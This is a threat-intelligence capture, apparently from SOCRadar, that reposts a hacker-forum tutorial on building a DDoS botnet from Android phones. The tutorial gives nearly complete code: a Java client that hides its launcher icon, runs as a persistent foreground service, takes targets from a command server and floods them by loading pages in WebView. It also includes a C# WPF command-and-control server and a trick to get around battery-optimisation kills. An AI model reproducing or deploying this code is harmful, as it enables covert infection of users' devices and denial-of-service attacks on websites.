In a hacker forum monitored by SOCRadar, a new alleged source code share is detected for DDoS Android Botnet. https://image.socradar.com/screenshots/2024/09/25/c88b4e81-c783-4812-a26d-d00168c0de8a.pnghttps://image.socradar.com/screenshots/2024/09/25/c89393b0-a0f9-43fd-bc04-7a2398bd2042.pnghttps://image.socradar.com/screenshots/2024/09/25/628cc0e0-028c-4591-9bce-d45c7e2268b5.pnghttps://image.socradar.com/screenshots/2024/09/25/18c18729-8638-440d-9c50-f26861e400cb.pnghttps://image.socradar.com/screenshots/2024/09/25/4dcd2422-2480-4971-b8e7-6c17ede52fc2.pnghttps://image.socradar.com/screenshots/2024/09/25/7d4565f9-e28e-49bd-9299-e67e9d6182ae.pnghttps://image.socradar.com/screenshots/2024/09/25/e378fb30-3059-4f76-bb71-ad252fa075ff.pnghttps://image.socradar.com/screenshots/2024/09/25/f5410ebf-8e8c-425b-8120-632d924bb33b.pngHello everyone: zns6: I have long planned to write this article, but there was no time because of my other projects. Now freed and finally decided to write an article about DDoS Botnet on Android. To begin with, I’ll explain what it is DDoS Botnet in principle, although I do not think that this needs an explanation, but in any case for the article it is necessary: DDoS-Botnet — is a network of infected devices controlled by an attacker to conduct distributed denial of service attacks (DDoS — Distributed Denial of Service) In such a network, every infected computer (or any other device, for example, a smartphone running Androidas in our case) becomes part of the botnet and receives commands from the server, receiving target addresses for attack. We will not do any ordinary HTTP Flood, working through queries, but fully downloading the web resource, in our case through WebView. I will also add another DDoS method exclusively for the example — for example, I will take ping, it is the easiest to implement, but also borders on the useless. In any case, this is not important, as it will be added as a practical example. Subsequently, replacing it with other methods will not be a problem for you if you use the code from the article. I will use to write the server part C # (.NET 4.8) and WPF markup (Windows Presentation Foundation) I will use to write the client part Java (A) and Groovy dsl (build.gradle) with minimum API 28 (A9). I'll start with the code Android customer on Java. First we need to define permissions in ** XML: <uses-permission android:name=**.INTERNET" /> <uses-permission android:name=**.ACCESS_NETWORK_STATE" /> <uses-permission android:name=**n.WAKE_LOCK" /> <uses-permission android:name=**.FOREGROUND_SERVICE" /> <uses-permission android:name=**.FOREGROUND_SERVICE_DATA_SYNC" /> Also, if you want the icon of your application not to be visible, add to Activity inside AndroidManifest.xml following: XML: <category android:name="android.intent.category.LEANBACK_LAUNCHER" /> Since in MainActivity.java we will have nothing but launching our FOREGROUND_SERVICEthen its code will look like this: Java: package com.nmz.DDoSBTest; import android.content.Intent; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { @** protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent serviceIntent = new Intent(MainActivity.this, BackgroundWVService.class); //Запуск нашего сервиса до которого мы еще дойдем startService(serviceIntent); } } Nothing but launching the service happens, but I would like to go not immediately to it, but to talk a little about how our page will be downloaded through Webview. For this, there is a code in the code WebViewService.javawhich has the task of downloading the page in Adb display information about her in short. Code WebViewService.java: Java: private WebView webView; @** public void onCreate() { super.onCreate(); webView = new WebView(this); webView.setWebViewClient(new CustomWebViewClient()); webView.getSettings().setJavaScriptEnabled(true); } @** public int onStartCommand(Intent intent, int flags, int startId) { String url = intent.getStringExtra("url"); if (url != null) { if (!isValidUrl(url)) { url = "http://" + url; } Log.d(TAG, "Loading URL/IP in WebView: " + url); webView.loadUrl(url); } else { Log.e(TAG, "No URL/IP received"); } return START_NOT_STICKY; } @** public void onDestroy() { if (webView != null) { webView.destroy(); } super.onDestroy(); } @** public IBinder onBind(Intent intent) { return null; } private boolean isValidUrl(String url) { return url.startsWith("http://") || url.startsWith("https://"); } private class CustomWebViewClient extends WebViewClient { @** public void onPageStarted(WebView view, String url, android.graphics.Bitmap favicon) { super.onPageStarted(view, url, favicon); Log.d(TAG, "Page loading: " + url); } @** public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); Log.d(TAG, "Page finished loading: " + url); String title = view.getTitle(); Log.d(TAG, "Page title: " + title); } @** public void onReceivedHttpError(WebView view, WebResourceRequest request, android.webkit.WebResourceResponse errorResponse) { super.onReceivedHttpError(view, request, errorResponse); Log.e(TAG, "HTTP error for URL/IP: " + request.getUrl() + " Error code: " + errorResponse.getStatusCode()); } @** public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { super.onReceivedError(view, errorCode, description, failingUrl); Log.e(TAG, "Error loading URL/IP: " + failingUrl + " Error code: " + errorCode + " Description: " + description); } } } The code uploads the web page to Webview and displays brief content about her. Now I would like to mark the code AttackerReceiverURLIP.javawho gets IP or URL the site, then checks it for validation, and if it receives IP without the HTTP / HTPPS header, then adds it and sends it further to WebViewService.java. Code AttackerReceiverURLIP.java: Java: public class AttackerReceiverURLIP extends BroadcastReceiver { @** public void onReceive(Context context, Intent intent) { String url = intent.getStringExtra("url"); Log.d("UrlReceiver", "Received URL: " + url); if (url != null) { // Проверка и добавление префикса например если передан ip ну и проверочка if (!url.startsWith("http://") && !url.startsWith("https://")) { url = "https://" + url; } if (isValidUrl(url)) { Intent serviceIntent = new Intent(context, WebViewService.class); serviceIntent.putExtra("url", url); context.startService(serviceIntent); } else { Log.e("UrlReceiver", "Invalid URL received: " + url); } } } private boolean isValidUrl(String url) { return url != null && (url.startsWith("http://") || url.startsWith("https://")); } } Now you should go to the last service on the client side — this BackgroundWVService.java, and here, accordingly, its code: Java: private static final String CHANNEL_ID = "DDoSForegroundServiceChannel"; private Handler ReconnectServerHandler = new Handler(Looper.getMainLooper()); private boolean isConnected = false; private Socket clientSocket; private BufferedReader input; private OutputStream output; @** public void onCreate() { //инициализации в onCreate super.onCreate(); createNotificationChannel(); startForegroundService(); connectToServer(); } private void createNotificationChannel() { //13,14D требуют подобных извращений. if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { CharSequence name = "Foreground Service"; String description = "Channel"; int importance = NotificationManager.IMPORTANCE_DEFAULT; NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance); channel.setDescription(description); NotificationManager notificationManager = getSystemService(NotificationManager.class); notificationManager.createNotificationChannel(channel); } } private void startForegroundService() { Intent notificationIntent = new Intent(this, MainActivity.class); PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE); Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID) .setContentTitle("Foreground Service") .setContentText("Service is running in the background") .setSmallIcon(R.mipmap.ic_launcher) .setContentIntent(pendingIntent) .build(); startForeground(1, notification); } @** public int onStartCommand(Intent intent, int flags, int startId) { return START_STICKY; } private void connectToServer() { new ConnectToServerTask().execute("127.0.0.1", "6666");//ip:p сервера } private class ConnectToServerTask extends AsyncTask<String, Void, Boolean> { private String serverIp; private int serverPort; @** protected Boolean doInBackground(String... params) { serverIp = params[0]; serverPort = Integer.parseInt(params[1]); while (!isConnected) { try { clientSocket = new Socket(serverIp, serverPort); input = new BufferedReader(new InputStreamReader(clientSocket.getInputStream())); output = clientSocket.getOutputStream(); isConnected = true; new ReceiveMessagesTask().start(); } catch (Exception e) { Log.e("ConnectToServerTask", "Error connecting to server, retrying in 5 seconds", e); try { Thread.sleep(5000); } catch (InterruptedException ie) { Log.e("ConnectToServerTask", "Interrupted during reconnection delay", ie); } } } return false; } @** protected void onPostExecute(Boolean result) { if (result) { Toast.makeText(getApplicationContext(), "Connected to the server", Toast.LENGTH_SHORT).show(); } else { startReconnection(); } } } private void startReconnection() { ReconnectServerHandler.postDelayed(() -> { if (!isConnected) { Log.d("Reconnection", "Attempting to reconnect..."); connectToServer(); } }, 5000); } private class SendMessageTask extends AsyncTask<String, Void, Void> { private static final int CHUNK_SIZE = 1024; private static final long DELAY_MS = 500; @** protected Void doInBackground(String... messages) { try { if (isConnected && output != null) { for (String message : messages) { byte[] messageBytes = message.getBytes(); int length = messageBytes.length; for (int i = 0; i < length; i += CHUNK_SIZE) { int end = Math.min(length, i + CHUNK_SIZE); output.write(messageBytes, i, end - i); output.flush(); Thread.sleep(DELAY_MS); } } } } catch (Exception e) { Log.e("SendMessageTask", "Error sending message", e); } return null; } } private class ReceiveMessagesTask extends Thread { private final Handler uiHandler = new Handler(Looper.getMainLooper()); @** public void run() { try { while (isConnected) { String message = input.readLine(); if (message != null) { if (isValidUrl(message)) { handleUrl(message); } else { uiHandler.post(() -> Toast.makeText(getApplicationContext(), "msg s: " + message, Toast.LENGTH_LONG).show()); } } } } catch (Exception e) { Log.e("ReceiveMessagesTask", "Connection lost, attempting to reconnect", e); isConnected = false; startReconnection(); } } } private void handleUrl(String url) { //Добавление http чтобы если например человек передал ip то мы перешли по нему как и по ссылке if (!url.startsWith("http://") && !url.startsWith("https://")) { url = "https://" + url; } Intent intent = new Intent(BackgroundWVService.this, WebViewService.class); intent.putExtra("url", url); startService(intent); } private boolean isValidUrl(String url) { try { Uri uri = Uri.parse(url); return uri.getScheme() != null && (uri.getScheme().equals("http") || uri.getScheme().equals("https")); } catch (Exception e) { return false; } } @** public void onDestroy() { super.onDestroy(); try { isConnected = false; if (clientSocket != null) { clientSocket.close(); } } catch (Exception e) { Log.e("onDestroy", "Error closing socket", e); } } @** public IBinder onBind(Intent intent) { return null; } } The customer code is over. I did not describe some already understandable moments, such as the whole code Manifest or sending specific data to the server, such as the version Android or device model, although you can easily get them and send them to the server if you wish. Java: AndroidVersion = "Android Version: " + Build.VERSION.RELEASE; SDeviceModel = "Device Model: " + Build.MODEL; Now that everything is more or less clear with the client code and what happens on its side, you can proceed to the server code. On the server side there will be no builder or any — screws exclusively the functionality of sending data to the server and receiving responses from the client. Code DDoServer: C #: public partial class MainWindow : Window { private ObservableCollection<ClientInfo> _clients; private TcpListener _server; private Thread _serverThread; private Thread _monitorThread; private int _serverPort = 4444; //стандартный порт прослушивания private Dictionary<string, string> _clientMessages; private volatile bool _isServerRunning; private ConcurrentDictionary<string, TcpClient> _connectedClients; public MainWindow() { InitializeComponent(); _clients = new ObservableCollection<ClientInfo>(); //Инициализации clientsview.ItemsSource = _clients; _clientMessages = new Dictionary<string, string>(); _connectedClients = new ConcurrentDictionary<string, TcpClient>(); } Handler StartServer: C #: if (_serverThread != null && _serverThread.IsAlive) { MessageBox.Show("Server is already running."); return; } if (!int.TryParse(portTextBox.Text, out _serverPort)) { MessageBox.Show("Invalid port number. Please enter a valid number."); return; } _serverThread = new Thread(StartServer); _serverThread.IsBackground = true; _serverThread.Start(); _monitorThread = new Thread(MonitorClients); _monitorThread.IsBackground = true; _monitorThread.Start(); } Methods / Other: C #: private void StartServer() { try { _server = new TcpListener(IPAddress.Any, _serverPort); _server.Start(); _isServerRunning = true; Dispatcher.Invoke(() => MessageBox.Show($"Server started on port {_serverPort}")); while (_isServerRunning) { if (_server.Pending()) { TcpClient client = _server.AcceptTcpClient(); IPEndPoint clientEndPoint = client.Client.RemoteEndPoint as IPEndPoint; if (clientEndPoint != null) { string clientIp = clientEndPoint.Address.ToString(); if (_connectedClients.ContainsKey(clientIp)) { if (_connectedClients.TryRemove(clientIp, out TcpClient oldClient)) { oldClient.Close(); } } if (_connectedClients.TryAdd(clientIp, client)) { Dispatcher.Invoke(() => { var existingClient = _clients.FirstOrDefault(c => c.IPAddress == clientIp); if (existingClient == null) { _clients.Add(new ClientInfo { IPAddress = clientIp, TcpClient = client }); } else { existingClient.TcpClient = client; } MessageBox.Show($"New client connected: {clientIp}"); }); } Thread clientThread = new Thread(() => HandleClient(client, clientIp)); clientThread.IsBackground = true; clientThread.Start(); } } else { Thread.Sleep(100); } } } catch (SocketException ex) { if (ex.SocketErrorCode != SocketError.Interrupted) { Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}")); } } catch (Exception ex) { Dispatcher.Invoke(() => MessageBox.Show($"Error: {ex.Message}")); } } private void HandleClient(TcpClient client, string clientIp) { try { NetworkStream stream = client.GetStream(); byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0) { string message = Encoding.UTF8.GetString(buffer, 0, bytesRead); lock (_clientMessages) { _clientMessages[clientIp] = message; } SaveMessageToFile(clientIp, message); var lines = message.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries); Dispatcher.Invoke(() => { foreach (var line in lines) { if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp) { packetText.Text += line + Environment.NewLine; } } }); } } catch (Exception ex) { Console.WriteLine($"Client error: {ex.Message}"); } finally { Dispatcher.Invoke(() => { try { lock (_clients) { var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp); if (clientInfo != null) { _clients.Remove(clientInfo); } } lock (_clientMessages) { if (_clientMessages.ContainsKey(clientIp)) { _clientMessages.Remove(clientIp); } } if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp) { packetText.Text = string.Empty; } } catch (Exception uiEx) { Console.WriteLine($"UI error: {uiEx.Message}"); } }); try { client.Close(); } catch (Exception ex) { Console.WriteLine($"Error closing client connection: {ex.Message}"); } } } private void MonitorClients() { while (_isServerRunning) { foreach (var kvp in _connectedClients.ToList()) { string clientIp = kvp.Key; TcpClient client = kvp.Value; try { if (client.Client.Poll(0, SelectMode.SelectRead)) { byte[] check = new byte[1]; if (client.Client.Receive(check, SocketFlags.Peek) == 0) { Dispatcher.Invoke(() => { var clientInfo = _clients.FirstOrDefault(c => c.IPAddress == clientIp); if (clientInfo != null) { _clients.Remove(clientInfo); } lock (_clientMessages) { if (_clientMessages.ContainsKey(clientIp)) { _clientMessages.Remove(clientIp); } } if (clientsview.SelectedItem is ClientInfo selectedClient && selectedClient.IPAddress == clientIp) { packetText.Text = string.Empty; } }); _connectedClients.TryRemove(clientIp, out _); client.Close(); } } } catch (Exception ex) { Console.WriteLine($"Error monitoring client {clientIp}: {ex.Message}"); } } Thread.Sleep(5000); } } private void StopServer() { try { _isServerRunning = false; _server?.Stop(); foreach (var clientInfo in _clients.ToList()) { if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected) { clientInfo.TcpClient.Close(); } } _serverThread?.Join(); _monitorThread?.Join(); Dispatcher.Invoke(() => MessageBox.Show("Server stopped successfully.")); } catch (Exception ex) { Dispatcher.Invoke(() => MessageBox.Show($"Error stopping server: {ex.Message}")); } } Well, at the end of — code for sending information to the client: C #: string link = DDoSTx.Text; if (!string.IsNullOrWhiteSpace(link)) { SendMessageToAllClients(link); } else { MessageBox.Show("Write Link."); } --- foreach (var clientInfo in _clients.ToList()) { if (clientInfo.TcpClient != null && clientInfo.TcpClient.Connected) { try { NetworkStream stream = clientInfo.TcpClient.GetStream(); byte[] buffer = Encoding.UTF8.GetBytes(message + "\n"); stream.Write(buffer, 0, buffer.Length); stream.Flush(); Also added a code that sends a task to one selected client from the list. IP: C #: if (clientsview.SelectedItem is ClientInfo selectedClient) { string clientIp = selectedClient.IPAddress; if (_clientMessages.ContainsKey(clientIp)) { string link = DDoSTx.Text; if (!string.IsNullOrWhiteSpace(link)) { SendLinkToClient(clientIp, link); } else { MessageBox.Show("Write Link/Ip."); } } else { MessageBox.Show("Client not found."); } } else { MessageBox.Show("Select a client from the list of IP."); } } And the method for this business: C #: private void clientsview_SelectionChanged(object sender, SelectionChangedEventArgs e) { if (clientsview.SelectedItem is ClientInfo selectedClient) { if (_clientMessages.ContainsKey(selectedClient.IPAddress)) { packetText.Text = _clientMessages[selectedClient.IPAddress]; } } } View Attachment 94963 GUI server panel written in WPF (Windows Presentation Foundation) (a newer version than described in the article) includes markings and designs that were not described in the article. The article provided exclusively code without markup and design. I want to note that this can only be used for web resources in connection with the logic of working through WebView, but you can add your code for other attack methods you need. Thank you for your attention! If there are any questions or additions, I will be happy to discuss. All the best: smile10 :. ps: In the new versions of Android, the rules for working background services have been tightened, and the activity control system (BATTERY_OPTIMIZATIONS) can forcibly complete our process. To prevent this, you can add the following code to MainActivity.java: Java: if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (!Settings.canDrawOverlays(this)) { showDisableBatteryOptimizationDialog(); } } } private void showDisableBatteryOptimizationDialog() { new AlertDialog.Builder(this) .setTitle("Отключение контроля активности") .setMessage("Для корректной работы приложения отключите контроль активности в настройках батареи.") .setPositiveButton("Перейти в настройки", (dialog, which) -> { Intent intent = new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS); startActivity(intent); }) .setNegativeButton("Отмена", null) .show(); } You also need to add uses-permission to the file. AndroidManifest.xml: XML: <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> by: **